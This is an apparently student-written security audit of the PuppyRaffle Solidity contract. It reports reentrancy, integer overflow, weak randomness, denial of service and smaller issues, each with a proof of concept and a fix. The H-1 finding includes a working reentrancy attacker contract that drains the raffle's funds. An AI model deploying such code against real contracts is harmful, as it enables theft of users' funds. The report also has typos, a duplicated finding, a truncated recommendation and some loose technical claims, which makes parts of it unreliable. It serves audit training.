PuppyRaffle Protocol Audit Report

Version 1.0

plairfx.xyz

March 1, 2024

PuppyRaffle Audit

Plair

March 1, 2024

Prepared by: Plairfx Lead Auditors: - Plairfx

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
  - Scope
  - Roles
- Executive Summary
  - Issues found
- Findings
- High
  - [H-1] Reentrancy possible in the `PuppyRaffle:Refund` function, changing state after doing a call.
  - [H-2] Precision loss when calculating fees `uint64` and this causes overflow.
  - [H-3] Weak randomness in `Puppyraffle::selectWinner` by using a randomness technique that can be influenced by nodes/miners and influence or predict the winning puppy.
- Medium

  - [M-1] Looping through the players array to check for duplicates is a potential Denial of service (DoS), making entry for latery participation very expensive
  - [M-2] TSmart contract wallets winner sof the raffle without a `receive` or a fallback fnction will block th estart of a new raffle.

- Low
  - [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non existent plakyers and players that entered. causing a player to think they have not entered the raffle.

- Informational
  - [I-1]: Solidity pragma should be specific, not wide
  - [I-2] Using an very outdated version is not recommend.
  - [I-3] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice.
    * [I-4]: Missing checks for `address(0)` when assigning values to address state variables
    * [I-4]: Missing checks for `address(0)` when assigning values to address state variables
  - [I-6] State changes are missing events.
  - [I-7] `PuppyRaffle::_isActivePlayer` is never used, this spends unnecessary gas.

- Gas
  - [G-1] Unchanged state variables should be declared constant or immutable.
  - [G2] Storage variables in a looop should be cached

Protocol Summary

PuppyRaffle is a Raffle that gives out rare Nfts when you enter the raffle and also gives the winner a price the whole jackpot!

Disclaimer

The Auditor Plair makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Scope

../src –> PuppyRaffle.sol

Roles

Owner can `withdrawFees` at anytime and `selectWinner` User can `enterRaffle` and win money.

Executive Summary

This project was in the course of the great Mr Patrick Collins, which provided a great learning lesson once again, this was a nice audit which helped me gain a lot insight on the smaller things people can miss like the uint64 which is something that can cause a lot of trouble as showcased in my proof of code in High 2.

Issues found

Severity	Number of issues found
High	3
Medium	2
Low	1
Info	7
Gas	2
Total	15

Findings

High

[H-1] Reentrancy possible in the `PuppyRaffle:Refund` function, changing state after doing a call.

Description: When changing state after doing an external call, exploits the balance of everyone to the hacker, essentialy taking all the balance from the users. You need to follow CEI to let this not happen, we essentialy let a check happen after the interactions already happening before.

```
1     function refund(uint256 playerIndex) public {
2         address playerAddress = players[playerIndex];
3         require(playerAddress == msg.sender, "PuppyRaffle: Only the
              player can refund");
4         require(playerAddress != address(0), "PuppyRaffle: Player
              already refunded, or is not active");
5
6         payable(msg.sender).sendValue(entranceFee);
7
8         players[playerIndex] = address(0);
9         emit RaffleRefunded(playerAddress);
10    }
```

A player who has entered the raffle could have a fallback/receive function thats keeps calling `PuppyRaffle::refund` until the contract is fully drained.

Impact:

All the fees paid fro users can be drained by the attacker

Proof of Concept: While running this in `PuppyRaffleTest.t.sol` you will come across that `Attacker` is able to steal all the funds meant for other users.

1. User/s enters the raffle.
2. Attackers sets up a contract
3. attacker enters the raffle
4. Attacker keeps refunding until the contract is empty.

```
contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
            ;
        puppyRaffle.refund(attackerIndex);
    }

    function _stealMoney() internal {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }

    fallback() external payable {
        _stealMoney();
    }

    receive() external payable {
        _stealMoney();
    }
}
```

Recommended Mitigation:

You can migitate the issue by putting the state `players` array before calling an external call function.

Additionally move the event emission as well.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
```

```
3           require(playerAddress == msg.sender, "PuppyRaffle: Only the
               player can refund");
4           require(playerAddress != address(0), "PuppyRaffle: Player
               already refunded, or is not active");
5           // State
6           players[playerIndex] = address(0);
7           // Call
8           payable(msg.sender).sendValue(entranceFee);
9
10          emit RaffleRefunded(playerAddress);
11      }
```

[H-2] Precision loss when calculating fees `uint64` and this causes overflow.

Description:

```
1           uint256 fee = (totalAmountCollected * 20) / 100;
2           totalFees = totalFees + uint64(fee);
```

Impact: This causes an uneven distrubtion of fees and can even kill the distrubtion if the protocol gets to 18.45 ether it will round of to 18 and reset to the beginning.

Proof of Concept:

```
1       function testIfUintCutsOutDeciamls() public {
2           uint256 totalAmountCollected = 100 ether;
3           uint256 fee = (totalAmountCollected * 20) / 100;
4           uint256 totalFeesV = 0 + uint64(fee);
5           console.log("Expected Fees= 20 ether what we get", totalFeesV);
6       }
```

Recommended Mitigation

Instead of switching from uint256 to uint64 keep it at uint256 so you dont encounter this problem

Proof of Code

```
1         address winner = players[winnerIndex];
2           uint256 totalAmountCollected = players.length * entranceFee;
3           uint256 prizePool = (totalAmountCollected * 80) / 100;
4           uint256 fee = (totalAmountCollected * 20) / 100;
5   -   totalFees = totalFees + uint64(fee);
6   + totalfees = totalFees + uint256(fee);
```

[H-3] Weak randomness in `Puppyraffle::selectWinner` by using a randomness technique that can be influenced by nodes/miners and influence or predict the winning puppy.

Description: Inside `SelectWinner` function.

```
1           uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp
                , block.difficulty))) % players.length;
2           address winner = players[winnerIndex];
```

When using something like block.timestamp it can be very easily influenced by nodes that can let the tx go out at a time that they want, meaning it is not random and can be exploited

Impact: The whole user

Proof of Concept:

1. Validator and nodes can know ahead the time of the block.timestap and block difficulity and use that to predict when to participate and how to.

block.diffculity was recently replaced with prevrandao.

2. User can mine/manipulate their `msg.sender` value to result in their address to be chosen to be the winner.
3. User can revert their `selectWinner` transaction if they dont like the nft or dont like the winner.

Using on-chain values is a well known attack vector.

Recommended Mitigation: Using chainlink VRF helps guarantee a random winner.

Medium

[M-1] Looping through the players array to check for duplicates is a potential Denial of service (DoS), making entry for latery participation very expensive

Impact: Medium Likelihood: MEDIUM

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. The longer the array is how bigger the gas costs will be for participatins essentlialy making it almost imposssible for normal users to participate in the protocol without losing gas fee.

```
1 //@audit DoSa ttack.
2     for (uint256 i = 0; i < players.length - 1; i++) {
3             for (uint256 j = i + 1; j < players.length; j++) {
4                 require(players[i] != players[j], "PuppyRaffle:
                      Duplicate player");
```

```
            }
        }
```

Impact: The `players` will need to pay a lot of gas when the `players` count gets big.

Proof of Concept:

If we have 2 sets of 100 players the gas cost will be First 100 players: 6252048 Second 100 players: 18068138

3x more expensive for players

PoC Place the following test into PuppyRaffleTest.t.sol

```
    function testEnterRaffleBecomesExpensive() public {

        vm.txGasPrice(1);

        uint256 playersNum = 100;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }

        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
            players);
        uint256 gasEnd = gasleft();

        uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
        console.log("Gas cost of the first 100 players: ", gasUsedFirst
            );

        // now for the 2nd 100 player
        address[] memory playersTwo = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            playersTwo[i] = address(i + playersNum);
        }

        uint256 gasStartSecond = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
            playersTwo);
        uint256 gasEndSecond = gasleft();

        uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.
            gasprice;
        console.log("Gas cost of the second 100 players: ",
            gasUsedSecond);

        assert(gasUsedFirst < gasUsedSecond);
    }
```

Recommended Mitigation: There are a few recommendations.

1. Consider allowing duplicates.Users can make a new wallet addresses anyway, the same person can still enter mutiple times.
2. Consider using a mapping to check for duplicates. This would allow constant time lookup of whether as user has already entered
3. Alternatively yo

[M-2] TSmart contract wallets winner sof the raffle without a `receive` or a fallback fnction will block th estart of a new raffle.

Description: The `PuppyRaffle::selectWinener` functiion is responsible for resetting the Raffle. If the smart contract rejects the payment the raffle would not be able to restart the wallet.

Users can easily call the `selectWinner` function again and smart contract entrants could enter but it would cost a lot due to the duplicate check and a raffle reset could get ver hard.

Impact: the `selectWinnner` function could revert many times and resetting the raffle would proof to be very diffucult,

non-winners can also take the winner's money!

Proof of Concept:

1. 10 smart contract wallets enter the raffle with no `fallback` function or `receive` function.
2. The raffle ends
3. the `selectWinner` function wouldn't work, even though the raffle has ended.

Recommended Mitigation: 1. Create aa mapping of address payout amounts so winners can pull their funds out themselves with a claim prize function. This puts all the hands to the owner to withdraw his price.

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non existent plakyers and players that entered. causing a player to think they have not entered the raffle.

Description: When a player is in the `PuppyRaffle::players` array at index 0, this will return 0 but according to the natspec, but it will also return 0 if the player is not in the array.

```
java script function getActivePlayerIndex(address player)external
view returns (uint256){ for (uint256 i = 0; i < players.length; i++){
 if (players[i] == player){ return i; } } return 0; }
```

Impact: the Return of 0 will cause the player to think they have not entered. This will cause the user to not know if he has entered and he waste gaste entering again.

Proof of Concept: 1. Users enters raffle, they are the first person to entr 2. User uses 'PuppyRaffle::getActivePlayerIndex and returns 0 3. User thinks he is not entered and will enter again because of the mistake in the documentation? or protocol?

Recommended Mitigation:

The best recommendation and the best implementable would be to return a revert if the player is not in th earray instead of returning the 0,

There are other solutions to this for example 1. Reserve the 0th position for any competition. 2. You could also return an `int256` where the functions returns -1 if the player has not entered the raffle.

Informational

[I-1]: Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol Line: 2

```
1  pragma solidity ^0.7.6;
```

[I-2] Using an very outdated version is not recommend.

Use a stable version like `0.8.18` of solidity #Recommendation

Deploy with any of the following Solidity versions:

```
1  `0.8.18`
```

The recommendations take into account:

```
1  Risks related to recent releases
2  Risks of complex code generation changes
3  Risks of new language features
4  Risks of known bugs
```

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please read slither documentation of slither https://github.com/crytic/slither/wiki/Detector-Documentation#incorrect-versions-of-solidity

[I-3] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice.

Its the best to keep follow CEI (Checks, Effects and Interctions)

```
-       (bool success,) = winner.call{value: prizePool}("");
-      require(success, "PuppyRaffle: Failed to send prize pool to winner");
-     _safeMint(winner, tokenId);

+    _safeMint(winner, tokenId);
+    (bool success,) = winner.call{value: prizePool}("");
+   require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-4]: Missing checks for `address(0)` when assigning values to address state variables

Assigning values to address state variables without checking for `address(0)`.

- Found in src/PuppyRaffle.sol Line: 62

```
        feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 152

```
        previousWinner = winner;
```

- Found in src/PuppyRaffle.sol Line: 172

```
        feeAddress = newFeeAddress;
```

[I-4]: Missing checks for `address(0)` when assigning values to address state variables

Assigning values to address state variables without checking for `address(0)`.

- Found in src/PuppyRaffle.sol Line: 62

```
        feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 152

```
1          previousWinner = winner;
```

- Found in src/PuppyRaffle.sol Line: 172

```
1          feeAddress = newFeeAddress;
```

[I-6] State changes are missing events.

[I-7] `PuppyRaffle::_isActivePlayer` is never used, this spends unnecessary gas.

Gas

[G-1] Unchanged state variables should be declared constant or immutable.

Reading from storage variable is much more expensive than reading from a constant or immutable variable.

Instances: - `PuppyRaffle::raffleDuation` should be `immutable` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::LegendaryImageUri` should be `constant`

[G2] Storage variables in a looop should be cached

Everytime you call players.length you called from storage which cost gas, if you instead call from memory its will be more gas efficient.

```
1 + uint256 playerLength = players.length;
2 - for (uint256 i = 0; i < players.length - 1; i++) {
3 + for (uint256 i = 0; i < playerLength - 1; i++)
4 -       for (uint256 j = i + 1; j < players.length; j++)
5 +           for (uint256 j = i + 1; j < playerLength; j++){
6                 require(players[i] != players[j], "PuppyRaffle:
                      Duplicate player");
7             }
8         }
```